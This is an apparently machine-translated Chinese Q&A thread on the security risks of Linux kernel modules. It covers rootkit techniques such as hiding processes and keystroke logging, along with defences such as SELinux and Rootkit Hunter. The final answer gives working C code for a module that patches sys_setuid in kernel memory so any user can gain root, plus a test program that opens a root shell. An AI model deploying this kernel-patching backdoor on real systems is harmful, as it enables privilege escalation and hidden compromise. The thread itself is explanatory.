2009-10-14 135 views
6

Linux內核模塊有多大的安全風險?我記得讀過,如果有人可以訪問,那麼他們所要做的就是加載一個rootkit模塊。它是否正確?有什麼辦法可以防止這種情況發生?Linux內核模塊 - 安全風險?

內核的哪些部分通過模塊接口實際暴露出來,程序員可以訪問哪些函數,這些函數可以用於惡意目的?

回答

5

道格拉斯說的是完全正確的,Linux是monolithic,一個模塊可以做任何事情。這是一個主要由Linus Thorvalds驅動的設計選擇,適合於開放源代碼哲學(爲什麼限制,它會降低性能,並且您可以從源代碼中看到模塊的功能 - 實際上只適用於真正的書呆子:-)-)。

現在也許你必須從第三方加載一些所謂的二進制模塊。即使他們似乎被編譯通常有一個通用的目標文件作爲黑盒子,只有它周圍的接口實際上是編譯的(就像我使用的nvidia圖形驅動程序一樣)。沒有確切的答案,如果你加載這樣的模塊,你必須相信供應商,如果沒有,不這樣做...

只有root可以加載理論上正確的模塊。但實際上,沒有一個系統是完美的(甚至是Linux)。不時有內核漏洞可以讓本地用戶或遠程用戶(非常罕見的情況下)將代碼引入內核,這樣他們就可以擁有root權限,從而可以控制系統。讓內核保持最新是件好事。

經過仔細研究之後,讓我們進入到目前爲止還沒有回答的問題的第二部分:「程序員可以使用哪些函數,這些函數可以用於惡意目的?」。許多正在爲SE-Linux的做的事情,也可以用於惡意目的,如:

  • 躲在/proc/sys目錄的信息,例如隱藏惡意用戶進程,使他們在工具,如不顯示topps等。這包括隱藏惡意模塊本身,因此它不在lsmod中列出。
  • 日誌和記錄鍵擊...
  • 發送數據到外面的世界。沒有內核模塊需要連接到一個站點併發送信息(除了原始linux代碼中的網絡堆棧),如果模塊的代碼確實有某種異味。如果某些字符串加密和解密,使其味道更糟糕一些操作...
  • ...

列表很大,如果你想了解更多的細節,你可以看看Rootkit的亨特(http://www.rootkit.nl/projects/rootkit_hunter.html )。這是我不時運行的工具。它可以檢測到一些廣泛使用的rootkits的存在。它管理着一個rootkit列表,並使用搜索名字將會讓你清楚這些動物所遵循的是什麼樣的目標......就像道格拉斯說的那樣,可以使用的函數實際上是內核中可用的所有函數,沒有任何限制。所以說一個模塊是不是一個壞人不是一件顯而易見的事情。

6

內核模塊運行時具有完整的內核特權 - 它可以執行內核可以執行的任何操作,這幾乎是任何事情。一個行爲良好的模塊會將它的操作限制爲那些由內核作爲符號導出的函數,但實際上並沒有阻止模塊調用任何具有該地址的任意函數,或者執行與任何現有函數等效的代碼。

保護是隻有root可以加載內核模塊。

無論如何,根可以讓機器變成任何東西,所以增量風險可以忽略不計。 澄清 - 加載模塊可能會允許root隱藏得更好,或者使用較少的系統信息操作攻擊,但原則上,由於root可以覆蓋內核映像,並將系統重新引導到該映像,因此可以實現所有一個內核模塊可以做到。由於/ dev/kmem通常不可寫,所以用戶空間根進程可能會與內核模塊相比受到限制,但重寫和重啓可能會「修復」這個問題。

此外,還有可能改變內核內存的方法,例如,如果你想隱藏一個進程,你可以使用一個可加載模塊,或者你可以用一個特洛伊版本替換ps

與隱藏文件類似,您可以使用內核模塊,也可以只替換ls

+0

你只正在承擔的機器(物理及合法的)管理員具有root權限,這是相當往往並非如此。 :) LKMs可以做根本不知道的東西。 –

1

你可能想看看這個Wikipedia

說一個內核模塊是很危險的,就像是說Windows上的司機是危險的。他們肯定可以是,但通常不是。正如Mr.Leeder所說,root可以做任何事情,但我懷疑它可以直接調用kernel api,它需要爲它加載一個內核模塊(顯然它可以)。

+0

我以爲X86電腦中通常不使用戒指?我確定我聽到了嗎? –

+1

只有兩個戒指 - 0和3我認爲。 –

+0

root可以覆蓋內核鏡像,並重新引導系統,所以如果需要的話,它可以完全控制(以明顯的重啓爲代價) –

0

如果你很在意,SELinux是你的朋友。

如果root能夠像... root一樣行爲...在您的環境中是一個問題,那麼有很多可選的Linux配置,在這些配置中,根讓你無處可去。對於更安全的東西,嘗試一個被評估的* IX O/Ses(我已經帶領幾個評估,但沒有一個是開放的O/S),或者使用本質上更安全的O/S,比如作爲「服務器」不在ring 0/supervisor/kernel模式下運行的消息傳遞類型。

0

良好的一般水平的答案已經。 如何在示例代碼級別查看此問題,更清楚地說明安裝模塊後Linux的脆弱程度。

我的例子模塊:

#include <linux/version.h> 
    #include <linux/module.h> 
    #include <linux/highmem.h> 
    #include <asm/unistd.h> 
    char *p; 
    int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map       
     { pte_t *pte1; 
      unsigned int dummy_but_needed; 
      p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx 
      pte1 = lookup_address((unsigned long long)p, &dummy_but_needed); 
      pte1->pte |= _PAGE_RW; //Now the code page is writable   
      *(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75". 
      return -1; // Insmod complains and module disappears from the system but module did it's work already    
     } 
    MODULE_LICENSE("GPL");//We don't need cleanup_module 

測試程序給用戶級終端超級用戶權限:

int main() 
     { 
     setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); 
     system("/bin/bash"); //rax=system call nr and rdi=first parameter 
     } 

這是一個危險的rootkit?不可以。要查找sys_setuid地址,您必須擁有root權限!實際上,每個系統都有不同的地址。

無論如何,這表明操縱是多麼簡單。事實上,通過動態(運行時)方法來替換使用的常量是非常容易的,這裏沒有介紹。 (這將是一個rootkit。我試了一下,目前沒有rootkit的狩獵程序能夠找到它,即使它存在,並採取了每個系統調用。)

我測試了這與內核3.2和AMD64。將無法在其他硬件上工作!

(如何找到所需要的常數:

xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic 
    [sudo] password for xxxx: 
    ffffffff8107f3a0 T sys_setuid 
    ffffffff810a23f0 T sys_setuid16